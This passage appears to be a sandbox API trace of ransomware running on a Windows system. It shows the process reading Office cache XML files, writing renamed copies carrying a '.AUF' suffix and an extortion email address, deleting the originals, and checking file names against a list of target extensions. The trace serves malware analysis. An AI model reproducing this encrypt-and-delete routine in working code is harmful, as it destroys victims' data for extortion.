hFile=0x1a8, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0205.031] ReadFile (in: hFile=0x194, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.031] WriteFile (in: hFile=0x1a8, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xee, lpOverlapped=0x0) returned 1 [0205.031] SetEndOfFile (hFile=0x1a8) returned 1 [0205.031] CloseHandle (hObject=0x1a8) returned 1 [0205.031] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.031] SetEndOfFile (hFile=0x194) returned 1 [0205.032] CloseHandle (hObject=0x194) returned 1 [0205.032] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.032] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0205.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.034] lstrlenW (lpString=".doc") returned 4 [0205.034] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.034] lstrlenW (lpString=".docx") returned 5 [0205.034] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0205.034] lstrlenW (lpString=".pdf") returned 4 [0205.034] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString=".xls") returned 4 [0205.035] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString=".xlsx") returned 5 [0205.035] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0205.035] lstrlenW (lpString=".ppt") returned 4 [0205.035] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.035] lstrlenW (lpString=".zip") returned 4 [0205.035] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.035] lstrlenW (lpString=".rar") returned 4 [0205.035] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString=".bz2") returned 4 [0205.035] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString=".7z") returned 3 [0205.035] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.035] lstrlenW (lpString=".dbf") returned 4 [0205.035] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.035] lstrlenW (lpString=".1cd") returned 4 [0205.035] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.035] lstrlenW (lpString=".jpg") returned 4 [0205.035] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.035] lstrlenW (lpString=".doc") returned 4 [0205.035] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString=".docx") returned 5 [0205.035] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0205.035] lstrlenW (lpString=".pdf") returned 4 [0205.035] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString=".xls") returned 4 [0205.035] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString=".xlsx") returned 5 [0205.035] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0205.035] lstrlenW (lpString=".ppt") returned 4 [0205.035] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.035] lstrlenW (lpString=".zip") returned 4 [0205.035] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.035] lstrlenW (lpString=".rar") returned 4 [0205.035] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString=".bz2") returned 4 [0205.035] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.035] lstrlenW (lpString=".7z") returned 3 [0205.035] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.035] lstrlenW (lpString=".dbf") returned 4 [0205.036] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.036] lstrlenW (lpString=".1cd") returned 4 [0205.036] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0205.036] lstrlenW (lpString=".jpg") returned 4 [0205.036] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.036] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.036] lstrlenW (lpString="Setup.xml") returned 9 [0205.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0205.036] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=9352) returned 1 [0205.036] CloseHandle (hObject=0x18c) returned 1 [0205.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0205.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0205.036] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.036] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.037] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0205.037] GetLastError () returned 0x0 [0205.037] ReadFile (in: hFile=0x18c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2488, lpOverlapped=0x0) returned 1 [0205.303] WriteFile (in: hFile=0x1ac, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0205.304] ReadFile (in: hFile=0x18c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.304] WriteFile (in: hFile=0x1ac, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0205.304] SetEndOfFile (hFile=0x1ac) returned 1 [0205.304] CloseHandle (hObject=0x1ac) returned 1 [0205.304] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.305] SetEndOfFile (hFile=0x18c) returned 1 [0205.305] CloseHandle (hObject=0x18c) returned 1 [0205.305] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.305] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0205.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.306] lstrlenW (lpString=".doc") returned 4 [0205.306] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".docx") returned 5 [0205.306] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0205.306] lstrlenW (lpString=".pdf") returned 4 [0205.306] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".xls") returned 4 [0205.306] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".xlsx") returned 5 [0205.306] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0205.306] lstrlenW (lpString=".ppt") returned 4 [0205.306] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.306] lstrlenW (lpString=".zip") returned 4 [0205.306] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.306] lstrlenW (lpString=".rar") returned 4 [0205.306] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".bz2") returned 4 [0205.306] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".7z") returned 3 [0205.306] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.306] lstrlenW (lpString=".dbf") returned 4 [0205.306] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.306] lstrlenW (lpString=".1cd") returned 4 [0205.306] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.306] lstrlenW (lpString=".jpg") returned 4 [0205.306] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.306] lstrlenW (lpString=".doc") returned 4 [0205.306] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.306] lstrlenW (lpString=".docx") returned 5 [0205.306] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0205.307] lstrlenW (lpString=".pdf") returned 4 [0205.307] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString=".xls") returned 4 [0205.307] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString=".xlsx") returned 5 [0205.307] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0205.307] lstrlenW (lpString=".ppt") returned 4 [0205.307] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.307] lstrlenW (lpString=".zip") returned 4 [0205.307] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.307] lstrlenW (lpString=".rar") returned 4 [0205.307] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString=".bz2") returned 4 [0205.307] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString=".7z") returned 3 [0205.307] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.307] lstrlenW (lpString=".dbf") returned 4 [0205.307] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.307] lstrlenW (lpString=".1cd") returned 4 [0205.307] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.307] lstrlenW (lpString=".jpg") returned 4 [0205.307] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.307] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.307] lstrlenW (lpString="Office32WW.xml") returned 14 [0205.307] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0205.441] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=4274) returned 1 [0205.441] CloseHandle (hObject=0x184) returned 1 [0205.441] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0205.441] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.441] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0205.442] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.442] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.442] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0205.442] GetLastError () returned 0x0 [0205.442] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0205.501] WriteFile (in: hFile=0x19c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0205.501] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.501] WriteFile (in: hFile=0x19c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0205.501] SetEndOfFile (hFile=0x19c) returned 1 [0205.501] CloseHandle (hObject=0x19c) returned 1 [0205.502] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.502] SetEndOfFile (hFile=0x184) returned 1 [0205.503] CloseHandle (hObject=0x184) returned 1 [0205.503] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.503] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0205.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.503] lstrlenW (lpString=".doc") returned 4 [0205.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString=".docx") returned 5 [0205.503] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.503] lstrlenW (lpString=".pdf") returned 4 [0205.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString=".xls") returned 4 [0205.503] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString=".xlsx") returned 5 [0205.503] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.503] lstrlenW (lpString=".ppt") returned 4 [0205.503] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.503] lstrlenW (lpString=".zip") returned 4 [0205.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.504] lstrlenW (lpString=".rar") returned 4 [0205.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString=".bz2") returned 4 [0205.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString=".7z") returned 3 [0205.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.504] lstrlenW (lpString=".dbf") returned 4 [0205.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.504] lstrlenW (lpString=".1cd") returned 4 [0205.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.504] lstrlenW (lpString=".jpg") returned 4 [0205.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.504] lstrlenW (lpString=".doc") returned 4 [0205.504] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString=".docx") returned 5 [0205.504] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.504] lstrlenW (lpString=".pdf") returned 4 [0205.504] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString=".xls") returned 4 [0205.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString=".xlsx") returned 5 [0205.504] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.504] lstrlenW (lpString=".ppt") returned 4 [0205.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.504] lstrlenW (lpString=".zip") returned 4 [0205.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.504] lstrlenW (lpString=".rar") returned 4 [0205.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString=".bz2") returned 4 [0205.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString=".7z") returned 3 [0205.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.504] lstrlenW (lpString=".dbf") returned 4 [0205.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.504] lstrlenW (lpString=".1cd") returned 4 [0205.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0205.504] lstrlenW (lpString=".jpg") returned 4 [0205.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.505] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.505] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0205.505] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0205.506] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=6421) returned 1 [0205.506] CloseHandle (hObject=0x184) returned 1 [0205.506] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0205.506] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0205.506] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.506] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 